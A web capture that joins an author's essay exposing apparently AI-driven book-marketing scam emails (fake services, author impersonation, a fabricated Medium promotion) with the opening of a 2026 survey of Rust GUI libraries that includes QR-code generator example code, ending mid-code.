    A compliment sandwich, I know them well. You’re doing great, BUT there’s a problem you didn’t know you had. She offered to help me manage “light social presence and simple email marketing” to keep my book “in front of real readers.” Would I be open to seeing how this could support my “author journey”?

    The email came from mercygold7400@gmail.com. Not a company domain. Not a professional address. Just a numbered Gmail account.

    I deleted it.

    Two days later, another pitch arrived. Then another. By the end of October, I’d received seven. In the first three weeks of November, I got twenty-three more.

    They came from:

    • Isaac Michael, offering Pinterest and Goodreads strategies

    • Halfdaytravel, promising TikTok features at 1:28 in the morning

    • Pratibha Malav, with a price list for paid reviews across multiple platforms

    • Janet, pitching websites and cinematic trailers

    • Someone claiming to be “Dr. Sandra Maria Anderson” using the email address abbyamazonalirah@gmail.com

    Some offered video production, others social media management, still others Amazon optimization or Google indexing services. They all shared generic Gmail addresses, vague promises of increased visibility, and an understanding that I was anxious about my books finding readers.

    They were 100-percent right about the anxiety, and that’s what makes them dangerous. The economics of traditional publishing are brutal right now, especially for mid-list (and lower) writers.

    My actual royalties per book sold (assuming they’ve earned out and I get, ya know, actual royalties):

    • Ebook: roughly $0.25-0.40

    • Print book: roughly $0.65-1.00

    • Audiobook: roughly $1.30-5.00 (depending on format and territory)

    If someone charges me $500 for marketing services, I’d need to sell as many as 2,000 additional copies just to break even. Publishers have PR teams, media contacts, co-op placement deals with retailers, and marketing budgets. If Angry Robot, with all those resources, couldn’t get my book onto certain Pinterest boards or Goodreads lists, what makes a freelancer with a Gmail account believe their strategy will work?

    The truth is, they don’t believe it will. They believe I might believe it will.

    Books ARE harder to discover than they used to be. Algorithms DO matter. Readers ARE out there, somewhere, not finding my work. And, when the next pitch arrives—probably tomorrow or right now—some part of me will wonder: what if?

    To understand why these scams are proliferating, look at what’s happening to the industry. More books are being published than ever before (self-publishing explosion plus traditional publishers desperate for revenue), while readership is declining (fewer readers, less reading time, more competition from other media). The result is the average book sells fewer copies than it used to.

    Authors are desperate because books aren’t selling, traditional marketing isn’t working, and publishers are offering less support per title. We’re feeling pretty helpless about our career trajectories, watching sales numbers decline while wondering what we’re doing wrong.

    Meanwhile, publishers are desperate because the mid-list is dying, there are fewer breakouts, and they can’t afford to market every title the way they used to. They tell authors there’s nothing more they can do, leaving us to wonder if we should be doing something ourselves.

    Scammers see opportunity in this desperation. There are more anxious authors than ever before, each one a potential customer. The market is growing (more books = more targets) while competition for attention intensifies. It’s the perfect environment to scale up operations using AI and automation.

    That’s why the Summer and Fall of 2025 saw an explosion of these pitches. Summer sales numbers were bad across the industry. Publishers quietly told authors they weren’t picking up next options. Industry articles about the “publishing crisis” circulated widely. The anxiety peaked just as the Q4 season began, and the scammers launched coordinated campaigns targeting authors most likely to be feeling desperate.

    In recent articles, Victoria Strauss, co-founder of Writer Beware (the industry watchdog that protects authors from scams , sponsored by Science Fiction & Fantasy Writers Association), has confirmed what I was experiencing wasn’t isolated. She’s been tracking the same wave since June 2025, tracing it to operations in Nigeria using AI to generate personalized pitches at scale. The scams, she wrote, had ramped up faster than any fraud in her decades of experience.

    Five, count-em, five book marketing pitches in my inbox. One had arrived at 1:22am while I slept, from someone called “Green Link” promising to feature my book in “active reading communities” through “real organic [Hence the Green? Or am I the Greene?] no ads, just real engagement.” Another came at 9:48am from Sylvester Josh, offering 3D cinematic book trailers. By afternoon, I’d been pitched TikTok features, paid reviews that violated Amazon’s policies, and Amazon optimization services for problems I didn’t have.

    A sixth pitch arrived that day but was caught by Gmail’s spam filter—someone claiming to be “Dr. Sandra Maria Anderson” using an email address that didn’t match the name at all.

    Nov. 3 was a preview. Over the next three weeks, the pitches would arrive almost daily, sometimes multiple times per day, from senders with names like Mercy Goldcrown (when plain Gold isn’t enough), Naphy Expertt, Ophelia, Bella, Emmanuel, Evelyn, and KAMBIO.

    They offered every service imaginable. The prices ranged from $20 to “contact me for [a] quote.” They all claimed to have “real readers,” “active communities,” and “organic engagement.” None provided portfolios, case studies, or verifiable results.

    Gmail’s SPAM filter had been fighting for me, catching roughly two out of every three pitches. But that still meant dozens were getting through.

    Between October 18 and November 20—just thirty-three days—I documented at least fifty-one pitches. The real number was probably higher. Some I’d deleted without recording. Some had been auto-deleted from spam after thirty days. Some I’d forgotten about before I started keeping systematic track.

    I wasn’t being marketed to. I was being carpet-bombed.

    A Note on Self-Published Authors

    Self-published authors face an even more intense version of this siege. With higher per-book royalties (often $2-7 per ebook versus my $0.25-0.40) and direct control over their Amazon pages, they’re more tempting targets—and the math looks just plausible enough to be dangerous. “If I make $3 per book and sell 200 extra copies, that’s $600!” But they still need to sell those 200 ADDITIONAL copies directly attributable to the service, and fake Pinterest boards don’t work any better for self-pub than they do for traditional publishing.

    Self-pub authors are also more vulnerable because they’re responsible for everything: cover design, formatting, distribution, marketing. When someone offers to handle “just the marketing part,” it’s tempting. They have no publisher to shield them, no agent to offer advice, no industry contacts to warn them away.

    Victoria Strauss (Writer Beware) has noted that earlier waves of publishing scams—from the Philippines and Pakistan—focused almost exclusively on self-published authors. The Nigerian operations are different: they target everyone with a published book, regardless of how it got there.

    On Oct. 28, someone named Isaac Michael sent me seven messages in a single day, each one arriving within hours despite my repeated, polite “no thank you” responses. He’d promised to optimize my “visibility window”—I had exactly sixty days before the algorithm reset, he claimed. He’d already mapped the strategy: 12 Pinterest boards, 8 Goodreads lists, full sequencing. He cited specific boards: “Retro Sci-Fi Worlds” with 18K+ saves, “Alien First Contact Stories” with 12K+ saves.

    His response speed suggested AI assistance. The pressure tactics suggested desperation. The numbered Gmail account (isaacmichael0181@gmail.com) suggested the same operation I was seeing everywhere else. (He also tried to convince me to spend all this money on the second book of a duology, which made no fucking sense.)

    I finally ignored Isaac. But on Nov. 13, the same playbook returned with a new sender.

    “Hey Robert,” Veronica Emmanuel began, “I’ve been digging into Six Plays and noticed a couple of big missed opportunities.”

    She claimed the book was missing opportunities on Pinterest and Goodreads. She’d identified specific boards and lists where the work should appear. She had the complete strategy ready: sequencing, timing, a plan to sync both algorithms within a critical sixty-day window.

    It was detailed and professional-sounding. The same service Isaac had pitched, delivered by someone new!

    Except for one problem: I have never written a book called Six Plays . Six Plays is a collection of works by Robert Greene—the Elizabethan playwright who died in 1592.

    Veronica Emmanuel, with her detailed Pinterest strategies and algorithm insights and carefully mapped visibility plans, had confused me with a man who’d been dead for 433 years.

    Seven days later, she followed up. Had I reviewed her strategy for Six Plays ? The timing was critical. The algorithm window was closing.

    I decided to test the system.

    “Hi Veronica,” I replied. “I’m very interested in your strategy for Six Plays. Just one question: which edition are you working with? The 1599 quarto or the 1861 Dyce compilation? Also, do you think Pinterest is the right platform for Renaissance drama, or should we focus on the Globe Theatre’s social media? Thanks, Robert Greene (the science fiction author, not the dead playwright).”

    Her response arrived within hours.

    She’d chosen the 1861 Dyce compilation, she explained, for its “cohesive editorial structure” that made it easier to build marketing materials. Pinterest wasn’t conventional for Renaissance drama, but it worked through “visual discovery and mood-based storytelling.” She cited specific boards: “Renaissance Theatre Moodboards” with 8-12K monthly saves, “Historical Drama Visuals” with 10K saves, “Shakespeare-Inspired Imagery” with 7-9K saves.

    The response was sophisticated, detailed, confident. It explained audience overlap with “dark academia” aesthetics, compared Pinterest’s algorithmic distribution to the Globe Theatre’s narrower reach, and discussed how to bridge “literary integrity and modern reader discovery.”

    It was impressive. It was also completely insane.

    “Thanks for your questions,” she’d written, “and noted, the sci-fi author, not the Renaissance playwright!” Then she’d spent three paragraphs explaining her marketing strategy for the Renaissance play collection anyway.

    I gave her one more chance. “Veronica, I have never written a book called Six Plays. That’s a collection by an Elizabethan playwright who died in 1592. I yet live and I write science fiction. Can you explain what’s happening here?”

    Two and a half days later, she apologized. There had been a mixup, she explained. She worked with “a large number of authors each week” in batches, and my name had come through in a group where someone was requesting analysis of the public-domain Six Plays collection. “The system flagged your name as connected to that title,” and she’d mistakenly continued the conversation.

    The system.

    She claimed to be “familiar with my traditionally published novels,” though she never named them. She offered to “regroup and talk about my actual catalog.” The sale was still on, if I was interested.

    But I’d learned what I needed to know. This wasn’t a person carefully researching authors and crafting custom strategies. This was an operation using AI to process names in batches, generating confident pitches, powered by systems that couldn’t tell the difference between a living science-fiction writer and a playwright who’d been dead for four centuries.

    And when caught in an impossible error, the response was: apologize, blame the system, pivot to the actual product.

    Veronica followed up twice more in the next twenty-four hours, offering generic “multi-platform frameworks” and “audience targeting strategies.” She still never named my books. She claimed to have identified “time-sensitive opportunities” in my catalog and put together a breakdown of where I was “missing discoverability.”

    person in black long sleeve shirt using macbook pro
    Fingerless Glove Dude is up in your grill, stealing your ID!!

    While I was fencing with Veronica, another scammer was trying a different approach: pretending to be someone real.

    On Nov. 2, I got an email from “Judy Leigh” writing from the address faithexpert92@gmail.com.

    “Hi, I’m Judy, an author based in the UK. I published my book not too long ago, and it has recently started performing very well and it’s currently one of the top-selling books on Amazon in its category.”

    She wanted to connect with fellow authors to share strategies. Would I be interested in learning how she was growing her readership and sales?

    I might have been flattered to hear from such a fancy person, but the email address was suspicious: “faithexpert92” had nothing to do with “Judy Leigh.”

    Then on November 18, “Judy Leigh” followed up. She was checking in to see if I’d received her first message about book marketing strategies. Would I like to connect?

    Something made me Google the name.

    There IS a Judy Leigh. She’s a legitimate UK author published by Boldwood Books who has sold over a million copies. She writes uplifting contemporary fiction celebrating friendship and second chances. She also writes historical novels under the pseudonym Elena Collins. Faithexpert92 was even using Judy Leigh’s headshot as a profile picture.

    But I was highly suspicious that the person emailing me wasn’t her.

    I decided to test this one too. I lied apologetically—sorry for the delay, your message went to spam. Then I asked a simple question: “How did you find out about me?”

    Four hours later, “Judy” responded with “Hi Greene, Thank you so much for getting back to me!” Instagram had suggested my page, she claimed. Since we were both authors, my work had caught her attention. She asked about my sales and what marketing strategies I’d implemented—standard sales qualification questions to assess whether I was desperate enough to buy. I played along, positioning myself as the perfect target (which I am): traditionally published, relying on my publisher for marketing, passive about promotion, seemingly naive.

    “Ha! Your email address threw me off a bit. I thought you might be a scammer. It’s nice to know you are a real person! My publisher does the lion’s share of the marketing chores. I just write the things!”

    The next morning, “Judy” delivered her pitch.

    She’d “recently discovered” that Medium was running an “End-of-Year Book Feature Promotion” selecting 200-300 books for automated daily promotion. The window was closing soon. She’d tried it herself and seen “a noticeable boost.”

    There was one detail: she worked with “someone in the United States who specializes in writing book-related blog posts on Medium.” They’d handled hers. Would I like the contact?

    This was the pattern Victoria Strauss had documented: scammer builds trust, offers helpful advice, then refers to a third party for payment. The money routes through Upwork or Fiverr to an “assistant” in Nigeria. The service either doesn’t materialize or delivers something worthless.

    I’d also seen this exact pitch before. Three days earlier, someone called “Mercy Goldcrown” had offered me a “$30 promo slot for a short, polished announcement blog” on Medium, claiming it was perfect for the “Ember season.”

    Medium doesn’t run “End-of-Year Book Feature Promotions.” The entire premise was fabricated.

    I messaged the real Judy Leigh through Facebook, then emailed her publisher Boldwood Books to alert them that someone might be using her identity to scam other authors. Neither responded.

    Finally, I posted a warning to the real Judy’s blog, explaining that someone was impersonating her using an email address with her headshot. She let the comment go through the moderation process and responded with a “Like.” No comment. No outrage. No warning to her readers. Just acknowledgement. (Did she know? Is she tired of hearing about it? I’ve no way to tell!)

    The fake Judy Leigh, meanwhile, was still waiting for my response about the “expert” who could help get my book selected for Medium’s non-existent promotion.

    On Nov. 25, I told her the truth:

    “’Judy’: Medium doesn’t run ‘End-of-Year Book Feature Promotions.’ I know because I checked. I also checked with the real Judy Leigh and her publisher to see if you were she. Outlook not so good. So, I’ve been documenting this entire exchange for an investigative article about book marketing scams. Would you like to comment?”

    She never responded.

    Addendum: Writer Ann Leckie, who I follow on BlueSky, recently reported someone was using her name to run a similar scam.

    The cruelest part isn’t that the scammers are lying about their services. Scammers gotta scam. It’s that the problem they’re claiming to solve is real. Books ARE harder to discover. Algorithms DO matter. The gap between authors and readers IS widening. Traditional marketing IS failing.

    And the scammers are exploiting this with sophisticated psychological hooks:

    • They identify real problems (discoverability, algorithm changes, market saturation)

    • They offer specific solutions (Pinterest boards with exact save counts, Goodreads lists with member numbers)

    • They create urgency (algorithm windows closing, seasonal opportunities, competitive selection processes)

    • They minimize barriers (low prices, “no time required on your end,” pre-built strategies)

    • They exploit isolation (authors working alone, desperate for answers, willing to try anything)

    These services can’t fix anything, but there’s always someone willing to risk money on a map to buried treasure.

    As I finished writing this last week, three more pitches arrived.

    One offered TikTok features. One promised Amazon visibility optimization. One claimed to run a “curated community of 5,000+ passionate readers” who will review my book for small tips of $25-30 each, minimum 30 reviewers required. Thirty times thirty is -- what? -- $900? I could foot that.

    Because what if this one is different?

    What if I’m wrong? What if shelling out a grand is all I need to get my writing career really going?

    What if I’m the fool for not even trying?

    Man, I want to believe I can change my stars with a simple cash infusion! That little inner whisper is what they’re counting on: that the gap between the work we’ve done and the readers who haven’t found it will always be wide enough for hope to slip through. That desperation can overwhelm mathematics.

    Tomorrow, another author will receive their first pitch. They’ll wonder if maybe, just maybe, this could be the thing that works. Somewhere, a system will flag their name, generate a personalized email, and send it from a numbered Gmail account.

    The algorithm never sleeps. The pitches never stop. Here’s one now.

    And now.

    Now.

    Note: If you’re an author receiving similar pitches, Victoria Strauss’s Writer Beware blog (writerbeware.blog) maintains updated information about current scams. The Science Fiction and Fantasy Writers Association (SFWA) also provides resources for identifying and reporting fraud. Most importantly: talk to other authors. The community is our best defense.

    Rob Greene (R.W.W. Greene) is the author of several science-fiction novels published by Angry Robot Books. His newsletter “twenty-first-century blues” examines culture, technology, art, and the systems that shape our lives. In writing this article, Greene used Claude (Anthropic) as a tool for structure, data organization, and feedback.

    Reading Maps – Journeys from fiction drawn on the real world

    Hacker News
    readingmaps.com
    2026-08-22 13:59:09
    Comments...
    Original Article
    • Scroll to load more

    A 2026 Survey of Rust GUI Libraries

    Lobsters
    blog.wybxc.cc
    2026-08-22 13:52:17
    Comments...
    Original Article

    Link to this section A 2026 Survey of Rust GUI Libraries

    It has been more than one year since boringcactus’s A 2025 Survey of Rust GUI Libraries . That was indeed a very interesting blog; so interesting that I wanted to try it myself. So I will be testing and reviewing each of the libraries listed on the Are We GUI Yet? website.

    The task I chose is a QR Code Generator. The interface has a text box; when text is entered, the Rust backend calculates the corresponding QR Code based on the text and displays it below the text box.

    This task can cover many aspects that GUI frameworks need to consider. For example, the text box involves IME support, and displaying images from the backend tests the framework’s compatibility with the existing Rust ecosystem. In addition, this task is also a simplified version of a real example I encountered when I first used Rust to develop a GUI program this year.

    Beyond basic feature completeness, I’ll also give a fairly subjective usability rating, covering state management, styling, the complexity of scaffolding an initial project, and the editor experience.

    To get a realistic feel, I’ll try to hand-write each task as much as possible. Of course, in 2026, a major difference is the practical adoption of coding agents. If, during this survey, I come across a framework whose correct usage I can’t figure out myself, but a coding agent can write the correct code on my behalf, then I’ll still give that framework some credit for usability.

    I’m on macOS, so the survey will be based on the macOS platform. For certain Windows-specific frameworks, I will also try running them in a Windows VM.

    The conclusion and the table are at the end of this article.

    Link to this section Azul

    When I opened Azul’s homepage , I was greeted by a rather ambitious page introducing Azlin Workspace, Azlin UI Toolkit, and Azlin OS. Although Azlin Workspace is basically a bunch of “Coming Soon” notices, and I’m not sure how Azlin relates to Azul, I still managed to get past the homepage and find the correct user documentation on GitHub.

    It looks like Azul just released version 0.2.0, and according to the docs, I can simply install its runtime library via Homebrew. Then, since Azul isn’t published on crates.io, I had to clone its Git repo and run it to generate the Rust API bindings.

    The first snag came right away: rust-analyzer didn’t recognize the Rust code that Azul generated. It compiled and ran fine, but all editor hints for the relevant types were gone.

    Well, that’s not a huge deal; at least cargo doc is available. It’s like going back to programming in the pre-LSP era.

    After spending 10 minutes digging through the cargo docs and repeatedly invoking the compiler, I finally managed to stick a text box into its original example. But then, no matter what I did, I couldn’t get any text I typed into the box to actually show up. So I asked Codex to help me debug this issue, and it turned out that Azul apparently couldn’t read fonts installed on the system. That alone is almost enough to rule out using Azul for this purpose. Not wanting to waste any more of my time (and tokens), I decided to move on to the next framework.

    Link to this section Blinc

    Blinc is a very new framework. It only released its first version in early 2026. Like many Rust GUI frameworks, Blinc uses wgpu as its rendering backend and adopts a reactive programming model. With rapid iteration, some examples in its official documentation are already outdated.

    The TextInput component feels unfinished: it doesn’t let you set a font, and its reactive behavior requires manually triggering in the on_change event. Meanwhile, TextArea allows you to specify a signal as the target to trigger when it updates. However, I don’t think either of these approaches really conforms to the reactive standard. True reactivity shouldn’t require you to manually handle events or signals; it should directly propagate changes in input controls to wherever the state is used.

    TextInput ’s default font doesn’t support CJK character display. IME works fine, but the composer position doesn’t align with the text box position.

    macOS’s accessibility features don’t work either; screen readers can’t read out the content in the window.

    Full Code
    use base64::Engine as _;
    use blinc_app::prelude::*;
    use blinc_app::windowed::{WindowedApp, WindowedContext};
    
    fn qr_encode(text: &str) -> anyhow::Result<Vec<u8>> {
        let code = qrcode::QrCode::new(text.as_bytes())?;
        let img = code.render::<image::Luma<u8>>().build();
    
        let mut buf = Vec::new();
        img.write_to(&mut std::io::Cursor::new(&mut buf), image::ImageFormat::Png)?;
        Ok(buf)
    }
    
    fn main() -> Result<()> {
        tracing_subscriber::fmt()
            .with_max_level(tracing::Level::INFO)
            .init();
    
        let config = WindowConfig {
            title: "QRCode Generator".to_string(),
            width: 400,
            height: 400,
            resizable: false,
            ..Default::default()
        };
    
        WindowedApp::run(config, build_ui)
    }
    
    fn build_ui(ctx: &mut WindowedContext) -> impl ElementBuilder + use<> {
        let text = ctx.use_state_keyed("text", || {
            text_input_state_with_placeholder("https://example.com")
        });
    
        div()
            .w(ctx.width)
            .h(ctx.height)
            .padding(Length::Px(10.0))
            .flex_col()
            .bg_surface()
            .gap(24.0)
            .child(label("Enter text to generate QR code:").text_center())
            .child(text_input(&text.get()).on_change({
                let text = text.clone();
                move |_| text.update(|text| text)
            }))
            .child(stateful::<NoState>().deps([text.signal_id()]).on_state({
                let text = text.clone();
                move |_| {
                    let text = text.get().lock().unwrap().value.clone();
                    let img = qr_encode(&text).unwrap_or_else(|_| Vec::new());
                    let b64 = base64::engine::general_purpose::STANDARD.encode(&img);
                    div()
                        .w_full()
                        .flex_grow()
                        .flex_col()
                        .child(image(format!("data:image/png;base64,{b64}")).self_center())
                }
            }))
    }

    Link to this section Cacao

    Cacao is a Rust binding for macOS AppKit. Honestly, I’d never tried this crate before. I expected it to be full of unspeakable unsafe things interacting with low-level Objective-C code. But after actually using it, I found its API surprisingly clean.

    Cacao’s recommended programming model is event-driven. Components in the inner layers can send events to the top level, where an event dispatcher modifies the state based on the information carried by the events. This is somewhat similar to the Elm architecture, but not as purely functional.

    Since it uses native macOS text input boxes, IME support is excellent. What surprised me, though, is that the screen reader didn’t work properly. It seems some setting might need to be enabled, but I don’t want to spend more effort digging through the docs to find it.

    Full Code
    use std::sync::Mutex;
    
    use cacao::appkit::window::{Window, WindowConfig, WindowDelegate};
    use cacao::appkit::{App, AppDelegate};
    use cacao::image::{Image, ImageView};
    use cacao::input::{TextField, TextFieldDelegate};
    use cacao::layout::{Layout, LayoutConstraint};
    use cacao::notification_center::Dispatcher;
    use cacao::text::Label;
    use cacao::view::View;
    
    fn qr_encode(text: &str) -> anyhow::Result<Vec<u8>> {
        let code = qrcode::QrCode::new(text.as_bytes())?;
        let img = code.render::<image::Luma<u8>>().build();
    
        let mut buf = Vec::new();
        img.write_to(&mut std::io::Cursor::new(&mut buf), image::ImageFormat::Png)?;
        Ok(buf)
    }
    
    struct MyApp {
        window: Window<AppWindow>,
    }
    
    impl Default for MyApp {
        fn default() -> Self {
            let window = Window::with(WindowConfig::default(), AppWindow::default());
            Self { window }
        }
    }
    
    impl AppDelegate for MyApp {
        fn did_finish_launching(&self) {
            App::activate();
    
            self.window.set_minimum_content_size(400., 400.);
            self.window.show();
        }
    
        fn should_terminate_after_last_window_closed(&self) -> bool {
            true
        }
    }
    
    impl Dispatcher for MyApp {
        type Message = String;
    
        fn on_ui_message(&self, text: String) {
            let buf = qr_encode(&text).unwrap_or_else(|_| Vec::new());
            let image = Image::with_data(&buf);
            let window = self.window.delegate.as_ref().unwrap();
            window.image.lock().unwrap().replace(image);
            window
                .image_view
                .set_image(window.image.lock().unwrap().as_ref().unwrap());
        }
    }
    
    struct AppWindow {
        label: Label,
        input: TextField<MyInput>,
        image_view: ImageView,
        image: Mutex<Option<Image>>,
        content: View,
    }
    
    impl Default for AppWindow {
        fn default() -> Self {
            Self {
                label: Label::new(),
                input: TextField::with(MyInput),
                image_view: ImageView::new(),
                image: Mutex::new(None),
                content: View::new(),
            }
        }
    }
    
    impl WindowDelegate for AppWindow {
        const NAME: &'static str = "WindowDelegate";
    
        fn did_load(&mut self, window: Window) {
            window.set_title("QR Code Generator");
            window.set_minimum_content_size(300., 300.);
    
            self.label.set_text("Enter text to generate QR code:");
            self.content.add_subview(&self.label);
            self.content.add_subview(&self.input);
            self.content.add_subview(&self.image_view);
            window.set_content_view(&self.content);
    
            LayoutConstraint::activate(&[
                self.label
                    .center_x
                    .constraint_equal_to(&self.content.center_x),
                self.label
                    .top
                    .constraint_equal_to(&self.content.safe_layout_guide.top),
                self.label.width.constraint_equal_to_constant(280.),
                self.label.height.constraint_equal_to_constant(30.),
                self.input
                    .center_x
                    .constraint_equal_to(&self.content.safe_layout_guide.center_x),
                self.input
                    .top
                    .constraint_equal_to(&self.content.safe_layout_guide.top)
                    .offset(30.),
                self.input.width.constraint_equal_to_constant(280.),
                self.image_view
                    .center_x
                    .constraint_equal_to(&self.content.center_x),
                self.image_view
                    .top
                    .constraint_equal_to(&self.content.safe_layout_guide.top)
                    .offset(50.),
                self.image_view.width.constraint_equal_to_constant(200.),
                self.image_view.height.constraint_equal_to_constant(200.),
            ]);
        }
    }
    
    #[derive(Default)]
    struct MyInput;
    
    impl TextFieldDelegate for MyInput {
        const NAME: &'static str = "MyInput";
    
        fn text_did_change(&self, value: &str) {
            App::<MyApp, String>::dispatch_main(value.to_string());
        }
    }
    
    fn main() {
        App::new("com.hello.world", MyApp::default()).run();
    }

    Link to this section Core-Foundation

    Strictly speaking, Core Foundation is not really a GUI library; it just provides some bindings to macOS system APIs. So I don’t think it’s reasonable for it to be listed on “Are We GUI Yet?”. In the same repository, there is a cocoa crate that does provide bindings to the AppKit GUI library, but its underlying dependencies are outdated and it’s very unidiomatic Rust 1 1. which is what I meant by “unspeakable unsafe things interacting with low-level Objective-C code” , so I’ll skip it for now.

    Link to this section Crux

    Boringcactus gave Crux a positive review in hir evaluation last year, but since ze said Crux only had mobile bindings and no desktop bindings, ze didn’t actually test its functionality. Today, while checking the documentation, I found that Crux now has macOS bindings, so I decided to actually pull it out and compare it here.

    I followed Crux’s documentation to set up the project scaffold. Since Crux itself doesn’t provide a GUI but rather an interface from the Rust core to various GUI shells, setting up the scaffold is slightly more complex than the previous projects, but still within a reasonable level of complexity. Once the setup was complete, it was easy to change the functionality from the Counter example to this survey’s QR code generator.

    On macOS, Crux uses SwiftUI for the interface. Since our evaluation criteria basically only look at the GUI side, it’s a bit unfair to compare SwiftUI with other Rust GUI frameworks. SwiftUI’s support for IME and screen readers is native and first-class.

    Full Code

    Rust:

    use crux_core::bridge::{Bridge, EffectId};
    use crux_core::macros::effect;
    use crux_core::render::{RenderOperation, render};
    use crux_core::{App, Command, Core};
    use facet::Facet;
    use serde::{Deserialize, Serialize};
    
    fn qr_encode(text: &str) -> anyhow::Result<Vec<u8>> {
        let code = qrcode::QrCode::new(text.as_bytes())?;
        let img = code.render::<image::Luma<u8>>().build();
    
        let mut buf = Vec::new();
        img.write_to(&mut std::io::Cursor::new(&mut buf), image::ImageFormat::Png)?;
        Ok(buf)
    }
    
    #[derive(Default)]
    pub struct Counter;
    
    impl App for Counter {
        type Event = Event;
        type Model = Model;
        type ViewModel = ViewModel;
        type Effect = Effect;
    
        fn update(&self, event: Event, model: &mut Model) -> Command<Effect, Event> {
            match event {
                Event::Update(text) => {
                    model.qr = qr_encode(&text).unwrap_or_default();
                }
            }
    
            render()
        }
    
        fn view(&self, model: &Model) -> ViewModel {
            ViewModel {
                qr: model.qr.clone(),
            }
        }
    }
    
    #[derive(Facet, Serialize, Deserialize, Clone, Debug)]
    #[repr(C)]
    pub enum Event {
        Update(String),
    }
    
    #[derive(Default)]
    pub struct Model {
        qr: Vec<u8>,
    }
    
    #[derive(Facet, Serialize, Deserialize, Clone, Default)]
    pub struct ViewModel {
        pub qr: Vec<u8>,
    }
    
    #[effect(facet_typegen)]
    #[derive(Debug)]
    pub enum Effect {
        Render(RenderOperation),
    }
    
    /// The main interface used by the shell
    pub struct CoreFfi {
        core: Bridge<Counter>,
    }
    
    impl Default for CoreFfi {
        fn default() -> Self {
            Self::new()
        }
    }
    
    #[boltffi::export]
    impl CoreFfi {
        #[must_use]
        pub fn new() -> Self {
            Self {
                core: Bridge::new(Core::new()),
            }
        }
    
        #[must_use]
        pub fn update(&self, data: &[u8]) -> Vec<u8> {
            let mut effects = Vec::new();
            match self.core.update(data, &mut effects) {
                Ok(()) => effects,
                Err(e) => panic!("{e}"),
            }
        }
    
        #[must_use]
        pub fn resolve(&self, id: u32, data: &[u8]) -> Vec<u8> {
            let mut effects = Vec::new();
            match self.core.resolve(EffectId(id), data, &mut effects) {
                Ok(()) => effects,
                Err(e) => panic!("{e}"),
            }
        }
    
        #[must_use]
        pub fn view(&self) -> Vec<u8> {
            let mut view_model = Vec::new();
            match self.core.view(&mut view_model) {
                Ok(()) => view_model,
                Err(e) => panic!("{e}"),
            }
        }
    }

    Swift:

    import App
    import SwiftUI
    import ImageIO
    
    struct ContentView: View {
        @ObservedObject var core: Core
    
        @State private var text: String = ""
    
        var body: some View {
            VStack(spacing: 16) {
                Text("Enter text to generate QR code:")
    
                TextField("input", text: $text)
                    .textFieldStyle(.roundedBorder)
                    .frame(maxWidth: 300)
                    .onChange(of: text) { _, newValue in
                        core.update(.update(newValue))
                    }
    
                if let qrImage {
                    qrImage
                        .resizable()
                        .interpolation(.none)
                        .scaledToFit()
                        .frame(width: 200, height: 200)
                } else {
                    Text("Enter some text to generate a QR code")
                        .foregroundColor(.secondary)
                }
            }
            .padding()
            .frame(maxWidth: .infinity, maxHeight: .infinity)
        }
    
        private var qrImage: Image? {
            let data = Data(core.view.qr)
            guard !data.isEmpty,
                  let source = CGImageSourceCreateWithData(data as CFData, nil),
                  let cgImage = CGImageSourceCreateImageAtIndex(source, 0, nil)
            else { return nil }
            return Image(decorative: cgImage, scale: 1)
        }
    }
    
    #Preview {
        ContentView(core: Core())
    }

    Link to this section Cushy

    Cushy doesn’t seem to have changed much compared to a year ago. Even the comment in the README that doesn’t match the actual code hasn’t been fixed.

    // Create a dynamic usize.
    let count = Dynamic::new(0_isize);

    The last release is still from 2024, so I’m a bit skeptical about whether retesting Cushy has any value. Still, let’s give it a try; maybe things will be different on macOS compared to Windows.

    Cushy’s code is surprisingly concise to write. Maybe I was just intimidated by the complexity of the previous frameworks, but being able to finish the main core logic of the project in just a dozen or so lines made for a very enjoyable development experience. Cushy’s API design is clean and intuitive, especially how a single Dynamic type expresses almost all the reactive features and can easily be converted between data and components.

    Even more noteworthy is that Cushy is the first framework in this survey that integrates with the existing Rust ecosystem. It supports directly converting a DynamicImage from the image crate into a Texture , which saves a lot of intermediate conversion code.

    As for IME and screen reader support, the situation on macOS is similar to Windows. The intermediate results from the IME composer are not visible, but the final converter works fine 2 2. Check boringcactus’s 2025 survey to learn what composer and converter in an IME are. , while the screen reader cannot recognize the content in the window.

    Full Code
    use cushy::{
        Run,
        kludgine::{LazyTexture, wgpu::FilterMode},
        value::{Dynamic, Source},
        widget::{MakeWidget, WidgetInstance},
        widgets::{Image, input::InputValue},
    };
    
    fn qr_encode(text: &str) -> anyhow::Result<image::DynamicImage> {
        let code = qrcode::QrCode::new(text.as_bytes())?;
        let img = code.render::<image::Luma<u8>>().build();
        Ok(image::DynamicImage::from(img))
    }
    
    fn main() -> cushy::Result {
        let text = Dynamic::new("".to_string());
        let qr = text.map_each(|text| {
            let img = qr_encode(text).unwrap_or_default();
            let texture = LazyTexture::from_image(img, FilterMode::Nearest);
            WidgetInstance::new(Image::new(texture))
        });
        let text_input = text.into_input();
        "Enter text to generate QR code:"
            .and(text_input)
            .and(qr)
            .into_rows()
            .into_window()
            .titled("QR Code Generator")
            .run()
    }

    Link to this section CXX-Qt

    Qt is indeed a framework that inspires both love and hate. On the one hand, Qt is almost inextricably tied to a language as intimidating as C++. But on the other hand, Qt’s cross-platform compatibility is quite good. I have more than once built personal macOS versions of open-source software written with Qt.

    For myself, I probably wouldn’t choose to use Rust with Qt. But for the purpose of this survey, let’s take a look at this Rust binding for Qt.

    When it comes to anything C++-related, environment setup is always the biggest headache. I didn’t want to spend time wrestling with Qt’s environment configuration, so I just installed Qt via Nix. Then I tried running the CXX-Qt example code – oh, compile errors.

    Because the error report was a jumble of errors from Rust, C++, and various other places, I decided to stop thinking and hand the problem over to Codex.

    What surprised me, though not at all unexpectedly, was that this compile error was a double problem. I won’t go into too much detail here; in short, the qt-build-utils used by CXX-Qt doesn’t support the way Nix packages Qt, and cxx actually had a regression during a patch version change (yet another SemVer joke). After an hour of discussion with the AI, I finally found a workaround to get it running. So let’s give it a try.

    Images can only be passed between Rust and Qt via data URLs, which I’m not very fond of. IME and screen reader both work fine 3 3. On macOS, there are actually two screen reader implementations: the more comprehensive VoiceOver, and “Speak items under the pointer.” In CXX-Qt, only VoiceOver works properly; the second feature doesn’t read window content. From here on, “screen reader” refers to VoiceOver by default. .

    Full Code

    Rust:

    use std::pin::Pin;
    
    use base64::Engine as _;
    use cxx_qt_lib::{QGuiApplication, QQmlApplicationEngine, QUrl};
    
    fn main() {
        let mut app = QGuiApplication::new();
        let mut engine = QQmlApplicationEngine::new();
    
        if let Some(engine) = engine.as_mut() {
